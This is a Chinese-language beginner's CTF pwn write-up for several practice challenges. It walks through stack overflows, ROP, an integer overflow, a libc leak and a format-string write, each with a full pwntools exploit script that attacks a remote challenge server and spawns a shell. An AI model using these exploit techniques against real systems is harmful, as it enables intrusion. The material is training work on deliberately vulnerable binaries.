level0 菜鸡了解了什么是溢出,他相信自己能得到shell
知识点:简单的栈溢出 基本的套路!
看了下程序
栈溢出
它有个system函数!
那正好!我们的思路就是 栈溢出到那个返回点!直接让那个返回点 返回到callsystem
函数
exp.py from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) content = 0 def main (): try : if content == 1 : upload = process("level" ) else : upload = remote("111.200.241.244" ,49647 ) except : print("The exp is error~" ) payload = ('a' * (0x80 + 8 )).encode() payload = payload + p64(0x400596 ) upload.recvuntil("Hello, World\n" ) upload.sendline(payload) upload.interactive() main()
level2 菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程
(ROP)就可以了’
知识点:ROP 看到可以输入大数!
果然可以溢出
思路就是 栈溢出 !让最后的返回 到 我们想要函数点!
不过这里是ROP知识点! 我
https://blog.csdn.net/jinzheng069/article/details/14184401
应该是大概是看懂一点点!哈哈哈
反正就是
栈的大小为(0x88)132 所有要溢出的部分确定了,132+4+system@plt来构造一个跳转 然后在填入4字节垃圾数据
这里最好还要填入4字节垃圾数据 我不上很懂! 但我想的是 它要找system函数的值对吧!就要先往里面天一些数据!可能也和它自身的位数有关! 32位就填4个字节!哈哈哈哈 猜的!我太菜了!
exp from pwn import *content = 1 context(os="linux" , arch="x86" , log_level="debug" ) elf = ELF("./1" ) def main (): try : if content == 1 : upload = process("./1" ) else : upload = remote("2111.200.241.244" ,64300 ) except : print("[!!]The exp is content error ~" ) system_plt = elf.plt["system" ] bin_sh = next(elf.search(b"/bin/sh" )) payload = b'a' * (0x88 +4 ) payload = payload + p32(system_plt) payload = payload + b'a' * 4 payload = payload + p32(bin_sh) upload.recvline("Input:\n" ) upload.sendline(payload) upload.interactive() main()
string 这个程序太多了!奥日 !等等再看! 😫😫😫
get_shell 运行就能拿到shell呢,真的
知识点:nc 题 exp from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) content = 0 def main (): try : if content == 1 : upload = process("level" ) else : upload = remote("111.200.241.244" ,51969 ) except : print("The exp is error~" ) upload.interactive() main()
hello_pwn 知识点:溢出覆盖 如果dword_60106C == 1853186401 咱就可以了!
那我们可以覆盖掉那个地方的值!
exp from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) content = 0 def main (): try : if content == 1 : upload = process("level" ) else : upload = remote("111.200.241.244" , 60862 ) except : print("The exp is error~" ) payload = ('a' * 4 ).encode() payload += p64(1853186401 ) upload.recvuntil("lets get helloworld for bof\n" ) upload.sendline(payload) upload.interactive() main()
guess_num 知识点: 这个题目全开的!
程序逻辑很简单!就是gets((__int64)&v8);
可以溢出! 把种子覆盖掉! 自己设置种子!
exp from pwn import *from ctypes import *context(os="linux" , arch="amd64" , log_level="debug" ) content = 0 def srand (): lib = cdll.LoadLibrary("libc.so.6" ) lib.srand(1 ) for i in range(10 ): number = str(lib.rand() % 6 + 1 ) upload.recvuntil("Please input your guess number:" ) upload.sendline(number) def main (): global upload try : if content == 1 : upload = process("guess" ) else : upload = remote("111.200.241.244" , 63451 ) except : print("[!!]The exp is content error~\n" ) payload = b"a" * (0x30 - 0x10 ) payload = payload + p64(1 ) upload.recvuntil("Your name:" ) upload.sendline(payload) srand() upload.interactive() main()
int_overflow 知识点:栈溢出
unsigned __int8 v3;
只取 8个字节!这说明!
当我们输入261时就可以跳到result = strcpy(&dest, s);
溢出点 0x14 +0x04
exp from pwn import *context(os="linux" , arch="x86" , log_level="debug" ) system_addr = 0x0804868B content = 0 def main (): try : if content == 1 : upload = process("over" ) else : upload = remote("111.200.241.244" , 62611 ) except : print("[!!]The exp is content error~" ) payload = b"a" * (0x14 + 0x04 ) + p32(system_addr) payload = payload.ljust(261 , b"a" ) print(payload) upload.sendlineafter("Your choice:" ,"1" ) upload.sendlineafter("Please input your username:" ,"1" ) upload.recvuntil("Please input your passwd:" ) upload.sendline(payload) upload.interactive() main()
有一点要明白!就是 261压入栈的时候! 前b"a" * (0x14 + 0x04)
是垃圾数据! 压到p32(system_addr)就好了! 这一定我晕晕的!睡觉睡觉睡觉了 !脑壳晕了!😶😶😶😶
cgpwn2 知识点:bss段写了 基础的知识还不是很了解!
_bss
段可以写入! 这里我们自己写入bin/sh
name 那是bss段!我们写入!
后门gets溢出! 程序里有system!
那我们的思路就是
get溢出到system! 因为是32位 再加4个字节垃圾数据!然后我们数据/bin/sh 也就是bss段写入/bin/sh
让system执行/bin/sh
exp from pwn import *context(os="linux" , arch="x86" , log_level="debug" ) content = 0 elf = ELF("cgpwn2" ) bin_sh = 0x0804A080 system = elf.plt["system" ] def main (): try : if content == 1 : upload = process("cgpwn2" ) else : upload = remote("111.200.241.244" , 57708 ) except : print("[!!]The exp is content error~" ) payload = b"a" * (0x26 + 0x04 ) payload = payload + p32(system) payload = payload + p32(0x04 ) payload = payload + p32(bin_sh) upload.recvuntil("please tell me your name\n" ) upload.sendline("/bin/sh" ) upload.recvuntil("hello,you can leave some message here:\n" ) upload.sendline(payload) upload.interactive() main()
level3 知识点: lic文件泄露 libc!libc!这次没有system,你能帮菜鸡解决这个难题么?
buf是可以溢出的!
这个题怎么做呢! 看了讲解!
我总结一下!
就是这里的read是溢出点 思路方向
1.泄露write地址,获取与libc偏移量 为什么要偏移量呢! 这里可以这样理解!就是不同libc里差值是一样的!
就是 2 - 7 和 5 - 10 2到5是3 7到10也是3 把数字看成函数就行了!
所以得到函数地址后 - libc里的函数地址就是差值!
2.得到system和/bin/sh 3.pwn 我们有write@plt和got
为什么要找got表里的write 其实我是有点懵的!不知道!以后看见讲解再说!
粘大佬一张图
exp from pwn import *context(os="linux" , arch="x86" , log_level="debug" ) content = 1 elf = ELF("level3" ) lib = ELF("libc_32.so.6" ) write_plt_addr = elf.plt["write" ] write_got_addr = elf.got["write" ] main_addr = elf.symbols["main" ] lib_write_addr = lib.symbols["write" ] lib_system_addr = lib.symbols["system" ] lib_bin_sh_addr = next(lib.search(b'/bin/sh' )) def main (): try : if content == 1 : upload = process("level3" ) else : upload = remote("111.200.241.244" , 65451 ) except : print("[!!] content error~" ) payload = b'a' * (0x88 + 0x04 ) payload = payload + p32(write_plt_addr) + p32(main_addr) payload = payload + p32(1 ) + p32(write_got_addr) + p32(4 ) upload.sendlineafter("Input:\n" , payload) write_addr = u32(upload.recv()[:4 ]) print('write_addr:' , hex(write_addr)) base_addr = write_addr - lib_write_addr system_addr = base_addr + lib_system_addr bin_sh_addr = base_addr + lib_bin_sh_addr payload = b'a' * (0x88 + 0x04 ) payload = payload + p32(system_addr) + b'aaaa' + p32(bin_sh_addr) upload.sendlineafter("Input:\n" , payload) upload.interactive() main()
学习知识点 先去了解下哪些防护!
https://blog.csdn.net/rchaos/article/details/104344276
CGfsb 知识点:格式化字符串 这里有讲解文章!
https://blog.csdn.net/weixin_45556441/article/details/114080930
会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数。
(2)如str是format,比如是%2$x,则输出偏移2处的16进制数据0xdeadbeef。
可以看到输出的时候!加了个& 取地址!
这这个题把! 我们要知道什么!就是知道偏移量!
其实我现在不了解知道偏移量有什么用!
先记住把! 以后再说!
哦!对了可以这样了解! 因为偏移10个位置 又回到它了! 那那那那那那!
等我们偏移到他的时候!%10$n
是偏移10$
个位置的意思!
%n就是8 的值就是8! 因为前面8个字节嘛!
那它的位置当前值就是8! 就可以写入成功了!哈哈哈哈哈!这样理解就好了😀😀😀😀
exp from pwn import *context(os="linux" , arch="x86" , log_level="debug" ) content = 0 pwnme_bss = 0x0804A068 def main (): try : if content == 1 : upload = process("CGfsb" ) else : upload = remote("111.200.241.244" , 52727 ) except : print("[!] Content error~" ) payload = p32(pwnme_bss) + b'aaaa' + b"%10$n" upload.sendlineafter("please tell me your name:\n" , "aaaa" ) upload.sendlineafter("leave your message please:\n" , payload) upload.interactive() main()